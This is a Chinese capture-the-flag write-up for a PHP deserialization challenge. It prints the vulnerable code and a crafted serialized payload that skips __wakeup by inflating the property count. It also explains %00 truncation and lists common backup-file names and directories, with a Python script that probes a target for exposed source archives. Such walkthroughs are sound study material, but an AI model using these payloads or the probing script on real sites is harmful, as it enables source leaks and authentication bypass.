打开题目
题目提示我们备份网站
我们输入/www.zip
下载zip文件,打开发现
打开index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
文件包含class.php,get传参一个select函数,反序列化select参数的值并赋值给res
然后我们访问class.php
<?php
include 'flag.php'; //包含flag.php文件
error_reporting(0);
class Name{
private $username = 'nonono'; //private
函数仅在其类内部调用时才有效,Private
函数只能在定义它的类中访问,不能在类外访问。
private $password = 'yesyes';public function __construct($username,$password){ //construct构造函数
$this->username = $username;
$this->password = $password;
}function __wakeup(){
$this->username = 'guest'; //用wakeup函数让username变量等于guest
}function __destruct(){
if ($this->password != 100) { //如果密码不等于100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //如果用户名和admin强比较相等
global $flag;
echo $flag; //输出flag
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
本题的关键,就是username的赋值
因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 才能让username与admin强比较相等
构造payload我们还是用phpstudy
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
打开本地网站即可得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O这里的4指的是name的长度,name后面的2指的是有2个成员,Nameusername,Namepassword
我们这里只需要把name后面的2修改为比2大的数字就好了
修改后的payload
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
接下来我们把select传参就好
得到flag
知识点:
- PHP中private私有函数
Private
函数只能在定义它的类中访问,不能在类外访问。当 private
函数仅在其类内部调用时才有效
- php中construct构造函数
创建构造函数的语法格式如下:
public function __construct(参数列表){
... ...
}
- php中function函数
将实现某一功能的代码块封装到一个结构中,实现代码复用
函数定义
function 函数名(参数){
// 函数体
return 返回值
}
函数调用的特点:
只要系统在内存中能够找到对应的函数,就可以执行(函数的调用可以在函数定义之前)
实例:
<?php
function writeName()
{
echo "Kai Jim Refsnes";
}
echo "My name is ";
writeName();
?>
运行结果
My name is Kai Jim Refsnes
文章见:PHP 函数 | 菜鸟教程
- php中wakeup函数
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
文章见:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客
- php中%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
实例:
https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
文章见:转载-一篇讲解比较详细的00截断原理 - 简书
- 网站备份文件常用后缀名
备份文件常见的后缀名
备份文件基本上都是压缩包
.rar
.zip
.7z
.tar.gz
.bak
对于bak类的备份文件,可以直接输入文件名称+.bak访问例如:index.php.bak
.txt
.old
.temp
_index.html
.swp
.sql
.tgz
tar
和
备份文件常见的文件名
文件名不包含后缀
web
website
backup
back
www
wwwroot
temp
db
data
code
test
admin
user
sql
常见的备份文件所在目录
/ #根目录首先
/admin
/data
/default
/index
/login
/manage
/cmseditor
/db
/bbs
/phpadmin
常规的网站目录收集软件
- 御剑
- DirBuster
- Webdirscan
- Cansina
- Dirsearch
- awvs
- wwwscan
注:
我们可以用kali下的dirsearch扫描目录
也可以用python自写脚本
在此题的基础上
脚本源自下方链接,在此基础上有所改动
import requests
url1 = 'http://www.abc.net' # url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名 同目录下创建List.txt 如web,website,backup,back,www,wwwroot,temp等
with open('List1.txt', 'r') as f:
list1 = f.read().splitlines()
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar', '7-zip', '7z', 'txt']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)
#结果返回的是状态码,如果状态码为200则存在
[点击并拖拽以移动]
文章见:CTF——Web网站备份源码泄露_ctf 网站备份-CSDN博客